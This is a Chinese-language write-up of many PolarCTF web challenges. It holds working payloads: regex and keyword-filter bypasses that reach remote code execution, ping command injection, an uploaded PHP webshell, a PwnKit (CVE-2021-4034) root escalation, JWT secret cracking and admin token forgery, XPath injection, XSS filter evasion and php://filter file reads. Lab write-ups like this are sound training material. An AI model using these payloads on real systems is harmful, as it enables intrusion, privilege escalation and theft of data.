PolarCTF WEB 题解(01)
swp
100 分 1 Polar币
扫描一下目录:
dirsearch -u url
[04:50:07] 200 - 340B - /.index.php.swp
访问 url./index.php.swp, 整理一下格式,审阅代码:
function jiuzhe(xdmtql){ return preg_match('/sys.*nb/is',xdmtql);
}
xdmtql=@_POST['xdmtql'];
if(!is_array(xdmtql)){
if(!jiuzhe(xdmtql)){
if(strpos($xdmtql,'sys nb')!==false) {
echo 'flag{*******}';
}else{
echo 'true .swp file?';
}
}else{
echo 'nijilenijile';
}
}
分析逻辑:
POST参数: xdmtql, 不能是数组,不能包含匹配”/sys.*nb/is”, 但必须有’sys nb’.
正常无法使包含sys nb的字串不匹配上述正则表达式。
超长字符串回溯:构造超过 pcre.backtrack_limit(默认 100 万)的字符串,迫使正则函数报错;
import requests
data = {"xdmtql": "sys nb" + "a" * 1000000}
res=requests.post('http://e7039ba4-c85f-442c-aeb5-3babcae4d8cd.www.polarctf.com:8090/index.php', data=data, allow_redirects=False)
print(res.content)
简单rce
100 分 1 Polar币
题目给出脚本:
<?php
highlight_file(__FILE__);
function no(txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i",txt)){
return txt;}
else{
die("what's up");
}
}yyds=(_POST['yyds']);
if(isset(_GET['sys'])&&yyds=='666'){
eval(no(_GET['sys']));
}
else
{echo "nonono";
}
?> nonono
分析:
要求构造输入数据:
POST yyds=666
GET: sys=命令 不能怕匹配正则表达式"/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i"
构造payload:
?sys=passthru("ls\t/");
?sys=passthru("c\at\t/flag");
上传
500 分 5 Polar币
dirsearch -u url
[05:42:08] 301 - 398B - /code -> http://17edf994-3576-49b3-953e-9fceb0e339e9.www.polarctf.com:8090/code/
[05:42:15] 200 - 0B - /index.php
[05:42:16] 200 - 0B - /index.php/login/
[05:42:35] 200 - 374B - /upload/
尝试了一下,貌似用处不大。
尝试文件上传,普通jpg等能上传和看到文件,但内容中有
payload
/?flag=xx
POST:
_GET['flag']=flag
写shell
300 分 3 Polar币
源代码:
<?php
highlight_file(__FILE__);
file_put_contents(_GET['filename'],"<?php exit();"._POST['content']);
?>
可以写木马文件,但前面有 exit(); 后面的代码就无法执行了,必须想法绕过,修改前面的字符。
分析:
不能有直接get和post变量:flag1、flag2
但可以从查询字符和POST数据解析变量。
extract(_POST)会创建GLOBALS数组,实际设置GLOBALS['flag1']和GLOBALS['flag2'],等价于flag1和flag2。使用了GLOBALS['flag1']=8gen1和GLOBALS['flag2']=8gen1参数
构造payload
?_POST[flag1]=8gen1&_POST[flag2]=8gen1
504[SYS.COM=1&sys=echo $flag;
#### 蜜雪冰城吉警店
100 分 1 Polar币
```html
<input id="8" type="button" value="花好芋圆">
modify
<input id="9" type="button" value="花好芋圆">
click “花好芋圆”
注入
300 分 3 Polar币
不是sql注入和ssti注入,是XPATH注入。
尝试一下XPATH注入万能钥匙,payload:
?id=']|//*|//*['
学习分析:
XPath(XML Path Language)是XML路径语言的简称,用于在XML文档树状结构中定位特定节点或节点集,属于W3C国际标准语言 [1] [4]。该语言通过路径表达式选取节点,支持元素、属性、文本等七种节点类型识别,并能将查询结果转换为布尔值、数字或字符串等数据类型
String userInput = "someValue";
XPath xpath = XPathFactory.newInstance().newXPath();
xpath.evaluate("//user[name='" + userInput + "']", document);
//修改为如下就没有注入了:
xpath.evaluate("//user[name='" + EscapeUtil.escape(userInput) + "']", document);
召唤神龙
100 分 1 Polar币
查看源码,发现main.js中存在jsfunk码。
(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])
去掉前面注释,放到浏览器控制台运行之,得到flag.
seek flag
100 分 1 Polar币
<!--焯,爬虫要是爬到我的flag怎么办-->
/robots.txt
得到 #flag3:c0ad71dadd11}
访问首页,更改cookie,id=1
得到:flag1:flag{7ac5b
访问首页:响应表头头中有(burpsuit等拦截请求提交更明显): flag2: 3ca8737a70f029d
jwt
100 分 1 Polar币
注册一个账号,例如为a,密码为a,登录,然后在chrome应用中,找到JWT,破解:
cd /opt
mkdir jwt-craker
cd jwt-craker
wget https://github.com/brendan-rius/c-jwt-cracker/archive/refs/heads/master.zip
unzip master.zip
cd c-jw*
make
┌──(kali㉿kali)-[/opt/jwt-craker/c-jwt-cracker-master]
└─$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.nioJtqW7tqRWVFsBsXjkJdjYx1NQM3NZZke8vUII6-8
Secret is "SYSA"
在线JWT解密/加密 https://www.json.cn/jwt
解码,然后修改username 为 admin,输入密钥,再编码:
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin"
}
对称密钥:SYSA
得到新的jwt: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.9avq5ApZ-XZul2kbon8z2cB6Y4bNru_0nnIZfJ1mO50
更新浏览器中的JWT值,刷新页面,得到flag.
非常好绕的命令执行
500 分 5 Polar币
我和你一样、期待着非预期解。但是所有的解法都是预期,所以这道题没有非预期,没有非预期,没有非预期。
源码:
<?php
highlight_file(__FILE__);
args1 =_GET['args1'];
args2 =_GET['args2'];
args3 =_GET['args3'];
evil =args1.'('.args2.')('.args3.')'.';';
blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match(blacklist,evil) and !ctype_space(evil) and ctype_graph(evil))
{
echo "<br>".evil."<br>";
eval($evil);
}
?>
()();
ctype_space: 检测字符串中的所有字符是否为空白(如空格、制表符、换行符等)。参数同样支持混合类型,但仅当所有字符均为空白时返回 true。
检测字符串中的所有字符是否为可见(非空白)且可打印的。
?args1=echo&args2=`ls`);//
flagggg index.php
?args1=echo&args2=`more<flagggg`);//
login
100 分 1 Polar币
看源码,发现有账号密码信息,输入,得到f,依次增大,发现为flag{xxx}
用burpsuit 爆破,设置Grep -Extract, From regex group:
(.)\r\n\r\n$
账号从2020102– 2020111,密码随意,自动提取倒数第三行的字符,组成flag.
这又是一个上传
500 分 5 Polar币
前台直接上传.php,不允许,用bp上传,更改文件名
POST / HTTP/1.1
Host: d62e0901-268a-41d5-9e75-8e40bf81a76c.www.polarctf.com:8090
Content-Length: 313
Cache-Control: max-age=0
Origin: http://d62e0901-268a-41d5-9e75-8e40bf81a76c.www.polarctf.com:8090
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMGoczH0eFRqFEAAQ
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://d62e0901-268a-41d5-9e75-8e40bf81a76c.www.polarctf.com:8090/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundaryMGoczH0eFRqFEAAQ
Content-Disposition: form-data; name="file"; filename="gsl.php"
Content-Type: image/jpeg
<?php
eval($_POST["pass"]); ?>
------WebKitFormBoundaryMGoczH0eFRqFEAAQ
Content-Disposition: form-data; name="submit"
Submit
------WebKitFormBoundaryMGoczH0eFRqFEAAQ--
/gsl.php
pass=system("ls /");
pass=system("ls -l /");
-r-------- 1 root root 38 Feb 18 2023 flag
pass=system("id");
发现没有权限读取/flag
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/su
/bin/umount
/opt/polkit-0.105/src/programs/.libs/pkexec
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
发现有pkexec。polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令
https://github.com/PwnFunction/CVE-2021-4034
下载到 CVE-2021-4034-main.zip
解压后,利用 蚁剑或哥斯拉上传到/tmp/aa
需要终端才能su到root,蚁剑超级终端没有摸索出来,使用哥斯拉易用。
www-data@d5c2596a3a7a:/tmp/bbtty
/dev/pts/0
www-data@d5c2596a3a7a:/tmp/bb make
rm -rf 'GCONV_PATH=.' pwn pwnkit
mkdir 'GCONV_PATH=.'
touch GCONV_PATH=.\/pwn
chmod +x GCONV_PATH=.\/pwn
mkdir pwn
echo 'module UTF-8// BRUH// conversion-mod 1' > pwn/gconv-modules
gcc -shared -fPIC -o pwn/conversion-mod.so conversion-mod.c
gcc -o pwnkit pwnkit.c
www-data@d5c2596a3a7a:/tmp/bbwww-data@d5c2596a3a7a:/tmp/bb ls -tlr
total 28
-rw-r--r-- 1 www-data www-data 6157 Oct 5 01:53 pwnkit.c
-rw-r--r-- 1 www-data www-data 327 Oct 5 01:53 conversion-mod.c
-rw-r--r-- 1 www-data www-data 367 Oct 5 01:53 Makefile
drwxr-xr-x 2 www-data www-data 16 Oct 5 01:53 GCONV_PATH=.
drwxr-xr-x 2 www-data www-data 50 Oct 5 01:53 pwn
-rwxr-xr-x 1 www-data www-data 8664 Oct 5 01:53 pwnkit
www-data@d5c2596a3a7a:/tmp/bb$ ./pwnkit
# whoami
root
# cat /flag
flag{xxxx}
#
iphone
100 分 1 Polar币
按f12, 按调试工具栏第二个,选iPhone SE等,再点击按钮,即可得到flag.
浮生日记
100 分 1 Polar币
"><scscriptript>alert("a")</scrscriptipt>
$$
100 分 1 Polar币
首页源码:
GLOBALS是PHP预定义的超全局变量组,采用关联数组结构存储所有全局变量。其数组键名严格对应全局变量名称(不含符号),例如全局变量var对应GLOBALS[‘var’]。该数组在脚本生命周期内自动维护,新增全局变量会实时同步至数组中。
通过数组索引可直接读取或修改全局变量值,例如: php GLOBALS[‘count’] = 10; // 定义全局变量count function updateCount() { GLOBALS[‘count’]++; // 跨作用域修改变量 } updateCount(); echocount; // 输出11
payload:
?c=GLOBALS
爆破
100 分 1 Polar币
源码:
<?php
error_reporting(0);
if(isset(_GET['pass'])){pass = md5(_GET['pass']);
if(substr(pass, 1,1)===substr(pass, 14,1) && substr(pass, 14,1) ===substr(pass, 17,1)){
if((intval(substr(pass, 1,1))+intval(substr(pass, 14,1))+substr(pass, 17,1))/substr(pass, 1,1)===intval(substr(pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
编写脚本:
<?php
a=1;
while (a<10000 ) {
pass = md5(a);
if(substr(pass, 1,1)===substr(pass, 14,1) && substr(pass, 14,1) ===substr(pass, 17,1)){
if((intval(substr(pass, 1,1))+intval(substr(pass, 14,1))+substr(pass, 17,1))/substr(pass, 1,1)===intval(substr(pass, 31,1))){
echoa;
break;
}
}
$a++;
}
?>
422
XFF
100 分 1 Polar币
HackBar
MODIFY HEADER
X-Forwarded-For:1.1.1.1
参考:
X-Forwarded-For:127.0.0.1
X-Forwarded:127.0.0.1
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Host: 127.0.0.1
rce1
100 分 1 Polar币
就过滤了个空格,能拿到flag算我输
<?php
res = FALSE;
if (isset(_GET['ip']) && _GET['ip']) {ip = _GET['ip'];m = [];
if (!preg_match_all("/ /", ip,m)) {
cmd = "ping -c 4 {ip}";
exec(cmd,res);
} else {
res =m;
}
}
- 问题描述: 代码仅过滤了空格字符,攻击者可以使用以下方式绕过:
- 使用制表符
%09代替空格 - 使用
${IFS}(Bash 内部字段分隔符)代替空格) - 使用重定向符号
<或>不需要空格 - 使用
;、&&、||等命令连接符
- 使用制表符
payload:
?ip=127.0.0.1;ls;
?ip=127.0.0.1;more<fllllaaag.php;
or
?ip=127.0.0.1;heade<fllllaaag.php;
?ip=127.0.0.1;cat${IFS}fllllaaag.php;
cat%09fllllaaag.php;
如下拿不到,可能\t没有转义:
cat\tfllllaaag.php;
echo\taaaaa; #无输出
echo${IFS}aaaaa; #aaaa
某函数的复仇
300 分 3 Polar币
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset(_POST['shaw'])){shaw = _POST['shaw'];root = _GET['root'];
if(preg_match('/^[a-z_]*/isD',shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',root)){
shaw('',root);
}else{
echo "Almost there^^";
}
}
}
?>
payload:
?root=}system("s\ort /flag");/*
shaw=create_function
等价:
function anonymous() {
}system(“s\ort /flag”); /*
网站被黑
500 分 5 Polar币
dirsearch -u url
[23:24:12] 200 – 0B – /flag.php
响应头中有一个线索:
hint: F5XDAXZQNZSV6ZRRNZSF63JTF4
echo F5XDAXZQNZSV6ZRRNZSF63JTF4 |base32 -d
/n0_0ne_f1nd_m3/
访问: url//n0_0ne_f1nd_m3/
界面上源码:
<?php
error_reporting(0);
text =_GET["text"];
file =_GET["file"];
if(isset(text)&&(file_get_contents(text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents(text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
php文件伪协议:
php://filter/resource=http://www.example.com
php://filter/read=string.toupper/resource=xxx.php
php://filter/convert.base64-encode/resource=xxx.php
php://filter/read=string.toupper|string.rot13/resource=xxx.php php://filter/write=string.rot13/resource=example.txt”,”Hello World
php://filter/read=string.rot13/resource=hello.php
php://filter/string.rot13/resource=imposible.php
?text=php://input&file=php://filter/read=string.rot13/resource=imposible.php
?text=php://input&file=php://filter/read=string.rot13/resource=imposible.php
POST:welcome to the 504sys
file过滤了base字样,因此不能base64等转码
payload:
/n0_0ne_f1nd_m3/?text=data://text/plain,welcome to the 504sys&file=php://filter/read=string.rot13/resource=imposible.php
Get:
<?cuc
$synt="synt{s46os8522o91s67n02o81s9522s3q80o}";
?>
rot13 decode
http://www.hiencode.com/rot13.html
<?php
$flag="flag{f46bf8522b91f67a02b81f9522f3d80b}";
?>
GET-POST
100 分 1 Polar币
进入首页,源码:
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
id =_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if(id == '1'){
echo "干的漂亮";
echo "<br/>";
echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";jljcxy = _POST['jljcxy'];
if(jljcxy == 'flag'){
echo $flag;
}
}
你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1
太简单,照着指令做好了。
payload:
?id=1
jljcxy=flag
被黑掉的站
100 分 1 Polar币
dirsearch -u url
[23:57:54] 200 - 911B - /index.php.bak
[23:58:10] 200 - 967B - /shell.php
访问 /index.php.bak
得到一个字典
123456 123456789 123123 111111 anhyeuem 1234567 123456789 123456 12345678 000000 asdasd 25251325 1234567890 121212 123321 zxcvbnm qweqwe 456789 112233 aaaaaa 123123123 987654321 11111111 qwerty 147258369 maiyeuem 123qwe 654321 iloveyou 123654 999999 qqqqqq 1111111 147258 hota407 anhtuan 222222 159753 11223344 anhnhoem anh123 159357 qwertyuiop asd123 987654321 emyeuanh mmmmmm 12345 666666 anhanh 123789 phuong 111222 qweasd hanoiyeudau nguyen 789456 1111111111 mylove 789456123 19001560 qwe123 asdfghjkl pppppp anhhung 1234560 abc123 maiyeu 123456a zzzzzz quangninh 987654 555555 tuananh asasas asdfgh zxcvbn 321321 tinhyeu 147852369 456123 matkhau 147852 12345678910 thienthan nikel anhyeu 111111111 toilatoi 10cham0 147258369 456456 khongbiet 789789 a123456 333333 888888 123654789 truong maimaiyeuem hhhhhh
访问 /shell.php
得到需要PASS的一个webshell
抓包爆破之:
得到: pass=nikel
登录不了,但响应中包含flag了。